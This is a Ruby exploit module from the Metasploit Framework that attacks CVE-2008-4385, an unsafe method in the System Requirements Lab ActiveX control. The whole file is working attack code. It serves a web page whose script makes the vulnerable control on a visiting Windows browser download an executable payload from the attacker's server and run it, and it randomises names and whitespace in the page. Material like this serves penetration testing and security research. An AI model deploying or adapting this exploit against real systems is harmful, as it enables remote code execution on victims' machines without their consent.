##
# $Id: systemrequirementslab_unsafe.rb 10394 2010-09-20 08:06:27Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Husdawg, LLC. System Requirements Lab ActiveX Unsafe Method',
'Description' => %q{
This module allows attackers to execute code via an unsafe method in
Husdawg, LLC. System Requirements Lab ActiveX Control (sysreqlab2.dll 2.30.0.0)
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision: 10394 $',
'References' =>
[
[ 'CVE', '2008-4385' ],
[ 'OSVDB', '50122' ],
[ 'US-CERT-VU', '166651' ],
],
'Payload' =>
{
'Space' => 2048,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 16 2008'))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
payload_url = "http://"
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"
if (request.uri.match(/payload/))
return if ((p = regenerate_payload(cli)) == nil)
data = generate_payload_exe({ :code => p.encoded })
print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
return
end
vname = rand_text_alpha(rand(100) + 1)
exe = rand_text_alpha(rand(20) + 1)
content = %Q|
<html>
<object classid='clsid:67A5F8DC-1A4B-4D66-9F24-A704AD929EEE' id='#{vname}'></object>
<script language='JavaScript'>
#{vname}.Init("#{payload_url}/#{exe}.exe", "#{vname}");
</script>
</html>
|
content = Rex::Text.randomize_space(content)
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, content)
handler(cli)
end
end
